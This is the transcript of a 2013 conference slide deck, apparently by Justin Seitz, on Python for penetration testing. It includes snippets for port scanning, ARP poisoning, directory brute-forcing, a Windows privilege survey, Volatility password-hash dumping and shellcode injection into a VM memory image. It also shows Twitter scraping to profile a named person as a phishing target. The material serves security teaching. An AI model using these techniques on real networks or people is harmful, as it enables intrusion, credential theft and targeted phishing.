Loading presentation...

Present Remotely

Send the link below via email or IM

Copy

Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in our knowledge base article

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.

DeleteCancel

Make your likes visible on Facebook?

Connect your Facebook account to Prezi and let your likes appear on your timeline.
You can change this under Settings & Account at any time.

No, thanks

The Life of Py

No description
by

Justin Seitz

on 7 November 2013

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of The Life of Py

The Life of Py
Why Python?
The Network
nearly everything can be done through socket
port scanners, proxies, fuzzers, and more
raw sockets for sniffing, forging packets
Scapy is a mature packet sniffing and crafting framework
Social Engineering - aka Stalking Karim
there are Python API's for Twitter, Facebook, Googley things
combine aforementioned web hackery and you can mine LinkedIn, and more
automatically collect intelligence about your target
use sentiment analysis, NLTK (Natural Language ToolKit) or the Google Prediction API to hone your models
QA your phishing attempts against your collected model
Visualization
excellent for mapping out social networks (aka stalking Karim)
creating visual program flow (IDA, BinNavi, etc.)
identifying control structures for file fuzzing
Ero Carrera's pydot by far the easiest graphing library
Python Imaging Library (PIL) excellent for visualizing binaries
Greg Conti: Security Data Visualization
Debugger Automation
Immunity Debugger - xDev / interactive debugging
pydbg - fuzzing frameworks, other non-interactive tasks
pykd - WinDbg binding, great for driver reversing / xDev
@jms_dot_py
The Rundown
the network
the web
social engineering
visualization
debugger automation
Windows privilege escalation
memory forensics (kinda)
Justin Seitz
Immunity Inc.

Windows Privilege Escalation
critical during pentests or real APT/ODB/GDP/HST/WTF
no privs = no love
doesn't always require nailing a kernel bug or driver
unsafe privilege management, file permissions

Check out Insomnia Security's Encyclopedia
http://www.insomniasec.com/releases
widely supported - great for "deserted island"
widely used Immunity, CORE, Google, et. al.
Saskatchewan farmboy friendly
bindings for other languages (Java, .NET)
low level support for C-like goodness (ctypes)
easy to glue concepts together and turn into tooling
TCP Sockets
import
socket

sock = socket.socket()
sock.connect(("
www.target.com
",
80
))
sock.send("
HAI!
")
buffer = sock.recv(
4096
)
9 Line Port Scanner
import
socket

sock = socket.socket()

sock.settimeout(
1
)

for
i in
range
(
0
,
1024
):

try
:
sock.connect( ( "
192.168.1.1
", i ))
print "
Port open: %d
" % i

except
:
pass
Web Hacking
lots of webhacking tools in Python: sqlmap, w3af, scrapy
urllib2 is the socket library of webby things
lots different tools, not just pentesting (REST, JSONRPC)
HTML parsing (HTMLParser, BeautifulSoup) capabilities
Burp Proxy exposes Jython plugin API

El Jefe
process monitoring framework
helps discover malware, or exploits in progress
utilizes a hooking DLL to trap CreateProcess* calls
does not play nice with others
offensive uses as well

http://eljefe.immunityinc.com
WMI FTW
# instantiate the WMI interface
c = wmi.WMI()

# create our process monitor
process_monitor = c.Win32_Process.watch_for("
creation
")

while

True
:

try
:
new_process = process_monitor()

print
new_process.GetOwner(),

print
new_process.ExecutablePath

print
new_process.CommandLine

except
:

pass
DIY El Jefe Output
Win32Api FTW

# obtain a handle to the target process
hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)


# open the main process token
htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)


# retrieve the list of privileges enabled
privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges)


# iterate over all privileges and output the ones that are enabled
priv_list = ""

for
i
in
privs:

# check if the privilege is enabled
if i[
1
] ==
3
:
priv_list += "
%s|
" % win32security.LookupPrivilegeName(
None
,i[
0
])
Sniffing With Scapy
from
scapy.
all

import
*

def

sniffer_callback
(packet):


if
packet[IP].src
in
interfaces:
local_ip = packet[IP].src
remote_ip = packet[IP].dst

else
:
local_ip = packet[IP].dst
remote_ip = packet[IP].src



# store to file or db

return

sniff(
filter
="
tcp port 80
",prn=sniffer_callback)
Disclaimer
no cutting edge research, no 0-days
Python 2.7 only examples
not exhaustive (no IDAPython, pefile, Veil, etc.)
Dave made me use Prezi. I'm so very sorry.
ARP Poisoning
from
scapy.
all

import
*

poison = ARP()
poison.psrc = "
192.168.1.1
"
poison.pdst = "
192.168.1.21
"

while

True:
send(poison)

Drinking Games!
errors in code, miscounts, etc.
whoever catches me unintentionally using catchphrases like "APT in your hybrid cloud"
throw your hand in the air
must attend party tonight to redeem!
OS App Fingerprinter
import
os
import
urllib2

for
r,d,f
in
os.walk("
joomla-1.3
"):

for
files
in
f:
remote_path = "
%s/%s
" % (r,files)
web_paths.append(remote_path)

for
path
in
web_paths:
request = urllib2.Request(path)


try
:
response = urllib2.urlopen(request)

print
"Yay! %s exists!" % path
response.close()

except
urllib2.HTTPError
as
error:
pass
Memory Forensics
Volatility framework is the king of open source memory forensics
Works on memory images from Windows, Linux, Mac, Android
Excellent for testing rootkit techniques without writing a driver
Lots of offensive capabilities - dump hashes, climb inside virtual machines for example
Firewire capable
Scapy + pygeoip + pyKML
Scapy + pygeoip + pyKML
Volatility
./vol.py pslist -f Win2k3-abc.vmem --profile=profile=Win2003SP2x86
Offset Name PID PPID Thds Handles
0x89d99648 System 4 0 73 1844
0x8996fd88 smss.exe 312 4 3 19
0x8930ad88 csrss.exe 360 312 12 586
0x892fed88 winlogon.exe 384 312 21 576
Process: 3252 explorer.exe
Cache type "URL " at 0x1996600
Record length: 0x100
Location: Visited: Administrator@http://www.google.ca/q=karim+nathoo+hot+pics
Last modified: 2013-09-17 20:13:18 UTC+0000
Last accessed: 2013-09-17 20:13:18 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xe8
./vol.py iehistory -f Win2k3-abc.vmem --profile=profile=Win2003SP2x86
ID PyCommands
from
immlib
import
*

def
main(args):

# do things


return
"
Happy Message
"
Hooking
def

main
(args):

imm = Debugger()

calc = imm.getModule("
calc.exe
")
imm.analyseCode(calc.getCodebase())

functions = imm.getAllFunctions(calc.getCodebase())

hooker = cc_hook()


for
function in functions:
hooker.add("
%08x
" % function, function)

return "
Tracking %d functions.
" %
len
(functions)
Hooking Pt. 2
class

cc_hook
(LogBpHook):


def

__init__
(self):

LogBpHook.__init__(self)
self.imm = Debugger()


def

run
(self,regs):

self.imm.log("
%08x"
% regs['
EIP
'],regs['
EIP
'])
self.imm.deleteBreakpoint(regs['
EIP
'])


return


Malware Analysis
python-twitter
# https://github.com/bear/python-twitter

import
twitter

api = twitter.Api(consumer_key, consumer_secret, access_token_key, access_token_secret)

user = api.GetUsersSearch("
@karimnathoo
")[
0
]
statuses = api.GetUserTimeline(user.id)
followers = api.GetFollowerIDs(user.id)
following = api.GetFriendIDs(user.id)

for
status
in
statuses:

print
status.text
python-twitter
RT @cmeasurecon: #cmeasurecon is next week! Still time to register for training or the conference: http://t.co/5gQhnMTj2Z

@mrsues I'm just wondering if I can get a cissp in time.

I am going to be a risk management weenie for Halloween.

I wonder if there is a "mr booyah" http://t.co/56Kp4mELZi
mine secondary links
scrape photos for metadata
establish conversation links
python-twitter
Each Status object exposes a lot of data:
status.contributors
status.coordinates
status.created_at
status.created_at_in_seconds
status.favorited
status.favorite_count
status.geo
status.id
status.in_reply_to_screen_name
status.in_reply_to_user_id
status.in_reply_to_status_id
status.lang
status.place
status.retweet_count
status.relative_created_at
status.source
status.text
status.truncated
status.location
status.user
status.urls
status.user_mentions
status.hashtags
Sentiment Analysis
Sentiment140.com - REST API
Total Tweets: 19
Average Sentiment: 2.31578947368
Graph Theory
nodes = circles
Neckbeard definition:

In mathematics and computer science, graph theory is the study of graphs, which are mathematical structures used to model pairwise relations between objects. (Wikipedia)
edges = lines
Saskatchewan sheep herder definition:
DIY DirBuster Pt. 1
DIY DirBuster Pt. 2
pydot
import
pydot

graph = pydot.Dot(graph_type='
digraph
')

node_eat = pydot.Node("
Eat
")
node_drink = pydot.Node("
Drink
")
node_hack = pydot.Node("
Hack
")
node_sleep = pydot.Node("
Sleep
")

graph.add_node(node_eat)
graph.add_node(node_drink)
graph.add_node(node_hack)
graph.add_node(node_sleep)

graph.add_edge(pydot.Edge(node_eat, node_drink))
graph.add_edge(pydot.Edge(node_drink, node_hack))
graph.add_edge(pydot.Edge(node_hack, node_sleep))
graph.add_edge(pydot.Edge(node_sleep, node_eat))

graph.write_png('
cmeasurecon.png
')
pydot
node_target = pydot.Node("
@karimnathoo
")
graph.add_node(node_target)

for
i
in
following:
new_node = pydot.Node(i)
graph.add_node(new_node)
graph.add_edge(pydot.Edge(node_target, new_node))

for
i
in
followers:
new_node = pydot.Node(i)
graph.add_node(new_node)
graph.add_edge(pydot.Edge(new_node,node_target))


PIL

import
Image
import
ImageDraw

threshold =
len
(file_contents)

im = Image.new("
RGB
",(512,(threshold/
512
)),(
255
,
255
,
255
))
draw = ImageDraw.Draw(im)

x_pos =
0
y_pos =
0
counter =
0

for
byte
in
file_contents:

if
ord(byte) >=
32
and ord(byte) <=
126
:


if
x_pos <
512
:
draw.point((x_pos,y_pos),fill=
200
)

else
:
x_pos =
0
y_pos +=
1
draw.point((x_pos,y_pos),fill=
200
)


if
counter == threshold and threshold !=
0
:
break

counter +=
1
x_pos +=
1

im.save(filename+".
png
")
MUFFI - https://code.google.com/p/muffi/
from
immlib
import
*
from
muffi
import
*

def

main
(args):

imm = Debugger()

mf = muffi()


# Apply the IsDebuggerPresent patch

if
mf.anti_debug.is_debugger_present():
imm.Log("
Successfully patched kernel32.IsDebuggerPresent
")


return
"
muffi - Patching complete.
"
Volatility - Password Hashes
./vol.py hivelist -f Win2k3-abc.vmem --profile=profile=Win2003SP2x86
Virtual Physical Name
---------- ---------- --------------
0xe101a4c8 0x6c5414c8 \Device\HarddiskVolume1\WINDOWS\system32\config\system
0xe194aa00 0x012eca00 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe19d2008 0x62a4c008 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe19d7a80 0x62a51a80 \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe19540f0 0x00c780f0 \Device\HarddiskVolume1\WINDOWS\system32\config\software
Administrator:500:8e862930e0eb04daad3b435b51404ee:efc8ec93b0ab5750fa3e562za7d3665c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:f1d6cfe0d16ae931b73c59f7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:ac210fdff3s4309e5c594b9947bfe03c:::
IUSR_JUSTIN-V2TRL6LD:1003:f13677485071d81122cbd664f5c4c3526:79a6f67bb02e7ae7f87cbc50eb930213:::
IWAM_JUSTIN-V2TRL6LD:1004:8395e58308b5125503bb03fc9c694b6a:45304fc174e1133dcfd2ce81223b4da6:::
ASPNET:1006:5fe7fc29e80b71d44a3111c81e272af7:7b820034c442z931813564a214e8b718:::
./vol.py hashdump -f Win2k3-abc.vmem --profile=profile=Win2003SP2x86
-y 0xe101a4c8 -s 0xe194aa00
Volatility - Code Injection
leave a shell lurking in a VM snapshot or inject into live VM
have to keep virtual memory (what you see in Immunity Debugger) and physical memory (the RAM image) straight
Volatility - Code Injection

# seek into the file
fd =
open
(memory_file,"
r+
")
fd.seek(physical)
buf = fd.read(page[
1
])


try
:
offset = buf.index("
\x00
" *
len
(sc))
slack_space = page[
0
] + offset

fd.seek(physical + offset)
fd.write(shellcode)
fd.flush()

# create our trampoline
# mov ebx, SHELLCODE_ADDRESS
# jmp ebx
tramp = "
\xbb%s
" % struct.pack("
<L
", page[
0
] + offset)
tramp += "
\xff\xe3
"

sc_offset_found = True


except
:

pass

fd.close()
Volatility - Code Injection
# check for '=' button handler in the current page
if page[
0
] <= trampoline_target and trampoline_target < ((page[
0
] + page[
1
])-
7
)):


# calculate offset into the page where the function is
v_offset = trampoline_target - page[
0
]


# now calculate physical offset
trampoline_offset = physical + v_offset


# write out the trampoline
fd =
open
(memory_file, "
r+
")
fd.seek(trampoline_offset)
fd.write(tramp)
fd.close()
Obtaining Enabled Privileges
User: JUSTIN-V2TRL6LD\Administrator
Exe: C:\WINDOWS\System32\logon.scr
CmdLine: C:\WINDOWS\System32\logon.scr /s
Privs: SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|


User: JUSTIN-V2TRL6LD\LowPrivUser
Exe: C:\CrappySecuritySoftwareTrayApp.exe
CmdLine: C:\CrappySecuritySoftwareTrayApp.exe --lie-to-customers
Privs: SeChangeNotifyPrivilege| SeImpersonatePrivilege| SeLoadDriverPrivilege


User: NT AUTHORITY\SYSTEM
Exe: C:\ThatThingThatSchedulesTasks.exe
CmdLine: C:\ThatThingThatSchedulesTasks.exe --execute C:\Temp\backup.vbs
Privs: SeChangeNotifyPrivilege | SeImpersonatePrivilege
WHY!
Race Condition
Process Creation Events
Code Coverage
Code Coverage
DEMO!
NOTE: if ASLR use a code signature instead of a memory address to find your function in memory
Volatility - Code Injection
import
volatility.plugins.taskmods
as
taskmods

p = taskmods.PSList(config)

for
process
in
p.calculate():

if

str
(process.ImageFileName) == "
calc.exe
":

address_space = process.get_process_address_space()
pages = address_space.get_available_pages()


for
page in pages:

# page is a tuple (virtual address, size)
physical = address_space.vtop(page[
0
])

1. Find the calc.exe process.
2. Find some slack space in the process for shellcode.
3. Resolve our '=' button virtual address.
Requirements
import
threading
import
Queue
import
urllib2

target = "
http://www.countermeasure2013.com/
"

fd =
open
("
dirbuster-medium.txt
","
rb
")
words = fd.readlines()
fd.close()

path_queue = Queue.Queue()

for
word
in
words:
path_queue.put(word.rstrip())


ARP : ARP
DHCP : DHCP options
DNS : DNS
DNSQR : DNS Question Record
DNSRR : DNS Resource Record
. . .
>>>ls()
def

chris_neil
():


while not
brute_queue.empty():

word = path_queue.get()
url = "
%s/%s
" % (target, word)

try:
response = urllib2.urlopen(url)

if

len
(response.read()):

print
url


except
URLError,e:

pass


# spin up a bunch of bruteforcing threads
num_threads =
100

for
thread
in

range
(
1
,num_threads):

t = threading.Thread(target=chris_neil)
t.start()
Full transcript